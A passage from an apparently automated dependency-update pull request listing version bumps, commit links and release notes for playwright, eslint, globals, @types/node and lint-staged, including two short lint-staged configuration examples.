fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/606ecd8b34bac100db32561b6278ffd76e5eb3cd\"\u003e\u003ccode\u003e606ecd8\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43192\"\u003e#43192\u003c/a\u003e): fix(locators): parse locators the way the client API bui...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e4f872c79530583300185d3e4aa9689e2f85d0b0\"\u003e\u003ccode\u003ee4f872c\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43188\"\u003e#43188\u003c/a\u003e): feat(api): expose asLocatorDescription via LocalUtils fo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/f6a439e6f496f75d8e8b687116eef8c21316aa1f\"\u003e\u003ccode\u003ef6a439e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43189\"\u003e#43189\u003c/a\u003e): docs(webmcp): expose WebMCP to all languages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e2335c30f16196a96f81c099598803ca74f9120c\"\u003e\u003ccode\u003ee2335c3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43174\"\u003e#43174\u003c/a\u003e): fix(mcp): do not close the browser twice when the client...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/d2a436e0111091ba99836fa6711de28201606cfc\"\u003e\u003ccode\u003ed2a436e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43163\"\u003e#43163\u003c/a\u003e): Revert \u0026quot;fix(blob): do not remove existing reports from o...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.63.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 26.6.1 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.10.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.12.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4618052eed6bb3ef420cf0db0490bbda2fd835a5\"\u003e\u003ccode\u003e4618052\u003c/code\u003e\u003c/a\u003e feat: handle astral letters in \u003ccode\u003enew-cap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21357\"\u003e#21357\u003c/a\u003e) (sary)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4ec5168d6d6888e3f7b163eb82963d40e45a75fa\"\u003e\u003ccode\u003e4ec5168\u003c/code\u003e\u003c/a\u003e feat: allow \u003ccode\u003eSourceCode#getText()\u003c/code\u003e to accept tokens and comments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21340\"\u003e#21340\u003c/a\u003e) (electrohyun)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bc51eee6e3e816622b2dd1bc08acb9cfb2d3a6a7\"\u003e\u003ccode\u003ebc51eee\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eprefer-arrow-callback\u003c/code\u003e false positive in conditional test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21373\"\u003e#21373\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bbff86c41521cc435e20754e26007f657a843038\"\u003e\u003ccode\u003ebbff86c\u003c/code\u003e\u003c/a\u003e fix: skip lines with multiple comments in \u003ccode\u003emax-lines-per-function\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21332\"\u003e#21332\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/efc4d6bdc4c4d1dfba8bdab6a8f44f27a1b1d00a\"\u003e\u003ccode\u003eefc4d6b\u003c/code\u003e\u003c/a\u003e fix: astral letters in \u003ccode\u003econsistent-return\u003c/code\u003e, \u003ccode\u003eno-eval\u003c/code\u003e, \u003ccode\u003eno-invalid-this\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21360\"\u003e#21360\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/93de066d4125f8df013d40305e8009f4634a5cba\"\u003e\u003ccode\u003e93de066\u003c/code\u003e\u003c/a\u003e fix: prefer-exponentiation-operator autofix for async function base (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21322\"\u003e#21322\u003c/a\u003e) (Vladimir Babin)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/02e34ffba6adbed72365177c7caee71d950834e5\"\u003e\u003ccode\u003e02e34ff\u003c/code\u003e\u003c/a\u003e fix: add missing space after \u003ccode\u003eelse\u003c/code\u003e in \u003ccode\u003ecurly\u003c/code\u003e autofix (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21355\"\u003e#21355\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b14b8bc213ccfc19d3edcfa9ce6af62622661160\"\u003e\u003ccode\u003eb14b8bc\u003c/code\u003e\u003c/a\u003e fix: correct \u003ccode\u003eid-length\u003c/code\u003e message for long private names (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21348\"\u003e#21348\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/69aac01d898837a934c9e735e0b7881cc1df09e8\"\u003e\u003ccode\u003e69aac01\u003c/code\u003e\u003c/a\u003e fix: support \u003ccode\u003eTSFunctionType\u003c/code\u003e in \u003ccode\u003egetFunctionHeadLoc\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21335\"\u003e#21335\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/686630eb34ec1cddf399a4e6eaeebb080116a532\"\u003e\u003ccode\u003e686630e\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eno-loss-of-precision\u003c/code\u003e false positive with \u003ccode\u003e0.e5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21337\"\u003e#21337\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/67eb586e2eda290813b329d4f40e605ad696bc4f\"\u003e\u003ccode\u003e67eb586\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5370d7ee35a6523873f798e87f3ccc73779d5d21\"\u003e\u003ccode\u003e5370d7e\u003c/code\u003e\u003c/a\u003e docs: clarify \u003ccode\u003eone-var\u003c/code\u003e \u003ccode\u003eseparateRequires\u003c/code\u003e matches any \u003ccode\u003erequire()\u003c/code\u003e call (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21192\"\u003e#21192\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8816c1ddfcfa31318ad17cddcfb68acffa30940f\"\u003e\u003ccode\u003e8816c1d\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3d2e7cedb7409d8a2c5f2c2fafb14fa22790e40e\"\u003e\u003ccode\u003e3d2e7ce\u003c/code\u003e\u003c/a\u003e docs: fix typo in no-unused-expressions documentation (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21346\"\u003e#21346\u003c/a\u003e) (bytedoe)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/152067f0f81f08b6cce9cf8eeaddb8558731b4f6\"\u003e\u003ccode\u003e152067f\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21362\"\u003e#21362\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b56d58e0b1f3c919a6b7661254af760cdd909d6e\"\u003e\u003ccode\u003eb56d58e\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21376\"\u003e#21376\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bfaea12ddc30b458fe4cfbb6c306a62b5299c177\"\u003e\u003ccode\u003ebfaea12\u003c/code\u003e\u003c/a\u003e perf: cache normalized config globals per languageOptions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21364\"\u003e#21364\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/322209ef164e8a00a25ec7ca166969ddc853355c\"\u003e\u003ccode\u003e322209e\u003c/code\u003e\u003c/a\u003e ci: avoid Nx cache in ecosystem tests and disable failing test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21369\"\u003e#21369\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d166567901e09940c1de4ad0e95d572eeab5c927\"\u003e\u003ccode\u003ed166567\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.9 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21371\"\u003e#21371\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/29585ceba7ad35368d1b763bd1e80d899f28842c\"\u003e\u003ccode\u003e29585ce\u003c/code\u003e\u003c/a\u003e chore: update dependency eslint-plugin-expect-type to ^0.7.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21359\"\u003e#21359\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/39d79ba9650542ac66d585d1899304abd630c07d\"\u003e\u003ccode\u003e39d79ba\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21354\"\u003e#21354\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.10.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `globals` from 17.12.0 to 17.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/sindresorhus/globals/releases\"\u003eglobals's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.13.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate globals (2026-10-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/354\"\u003e#354\u003c/a\u003e)  b007369\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.12.0...v17.13.0\"\u003ehttps://github.com/sindresorhus/globals/compare/v17.12.0...v17.13.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/ce512bc1949f918ad6c17cc864a63ab6b077764f\"\u003e\u003ccode\u003ece512bc\u003c/code\u003e\u003c/a\u003e 17.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/b0073695ad35ad0cb34504f3152a20a8411306e7\"\u003e\u003ccode\u003eb007369\u003c/code\u003e\u003c/a\u003e Update globals (2026-10-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/354\"\u003e#354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/16cb1fe4a57062e8b3844b0c74b4d554f53af803\"\u003e\u003ccode\u003e16cb1fe\u003c/code\u003e\u003c/a\u003e Meta tweaks\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.12.0...v17.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lint-staged` from 17.5.1 to 17.6.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/releases\"\u003elint-staged's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.6.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1850\"\u003e#1850\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/938d3f43d07cbd74f08052dfb8a7380ce8868180\"\u003e\u003ccode\u003e938d3f4\u003c/code\u003e\u003c/a\u003e - Task functions like \u003ccode\u003e{ title, task }\u003c/code\u003e can now use a logger function \u003ccode\u003elog()\u003c/code\u003e to emit output while the task runs. By default, the output will only be visible if the task fails, unless the \u003ccode\u003e--verbose\u003c/code\u003e option was used. Additionally, when the task rejects, the error will be shown in the output.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*': {\ntitle: 'Fail if PDF files are committed',\ntask: async (filepaths, { log }) =\u0026gt; {\nconst pdfFiles = filepaths.filter((f) =\u0026gt; f.toLowerCase().endsWith('.pdf'))\nif (pdfFiles.length \u0026gt; 0) {\nlog('PDF files should not be committed: %s', pdfFiles)\nthrow new Error('Failed')\n}\n},\n},\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1854\"\u003e#1854\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/30562bcbc5267bdb733c257c79c0a65c34465ba3\"\u003e\u003ccode\u003e30562bc\u003c/code\u003e\u003c/a\u003e - \u003cem\u003elint-staged\u003c/em\u003e now stages changes to \u003cstrong\u003eall tracked files modified by tasks\u003c/strong\u003e, including files that weren’t originally staged or didn’t match the configured globs. This can happen when your task has side-effects, or it's a function that ignores the staged files like \u003ccode\u003e() =\u0026gt; \u0026quot;prettier --write .\u0026quot;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIf you have unstaged changes in a file and the task also edits that file, your unstaged changes will be staged too. Use \u003ccode\u003e--hide-unstaged\u003c/code\u003e to hide your changes while tasks run.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1860\"\u003e#1860\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/4296532155fb893ab8f754a47f3518f691fd4d98\"\u003e\u003ccode\u003e4296532\u003c/code\u003e\u003c/a\u003e - The assignment of staged files to \u003cem\u003elint-staged\u003c/em\u003e configuration files (when using multiple, for example in a monorepo) has been rewritten to be more efficient. As a reminder, each staged file is assigned to exactly one configuration (the closest one), even if that config doesn't match the file in its globs.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1861\"\u003e#1861\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/c45f28af47a540730de2bf22fddedeb8fac5952a\"\u003e\u003ccode\u003ec45f28a\u003c/code\u003e\u003c/a\u003e - Fix running parallel tasks for a single glob, when tasks are created by a function. Nesting one level of arrays inside an array of tasks will result in the inner tasks running in parallel. This behavior should now be consistent when creating tasks using functions. In the following example \u003ccode\u003eeslint\u003c/code\u003e and \u003ccode\u003eprettier\u003c/code\u003e will run in parallel (for all files, when any JS files are staged):\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*.js': () =\u0026gt; [['eslint --max-warnings=0 .', 'prettier --list-different .']],\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1859\"\u003e#1859\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/f0ea69dc67399e504a08db67594f697d4c24df6d\"\u003e\u003ccode\u003ef0ea69d\u003c/code\u003e\u003c/a\u003e - Various performance improvements from skipping redundant internal Git calls.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1856\"\u003e#1856\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/69d7d17ca6d3b10f2ececf8b2756c1927a627821\"\u003e\u003ccode\u003e69d7d17\u003c/code\u003e\u003c/a\u003e - Partially staged changes are hidden in a uniquely-named patch file to avoid multiple invocations of \u003cem\u003elint-staged\u003c/em\u003e overwriting it. This makes it safer to run \u003cem\u003elint-staged\u003c/em\u003e in multiple worktrees at the same 